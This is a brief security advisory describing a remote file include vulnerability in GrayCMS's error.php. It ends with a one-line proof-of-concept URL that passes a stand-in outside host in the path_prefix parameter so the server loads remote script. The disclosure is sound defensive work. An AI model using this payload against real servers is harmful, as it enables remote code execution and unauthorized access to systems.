source: https://www.securityfocus.com/bid/13381/info

GrayCMS is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/CMS/gcms/code/error.php?path_prefix=http://www.example.com/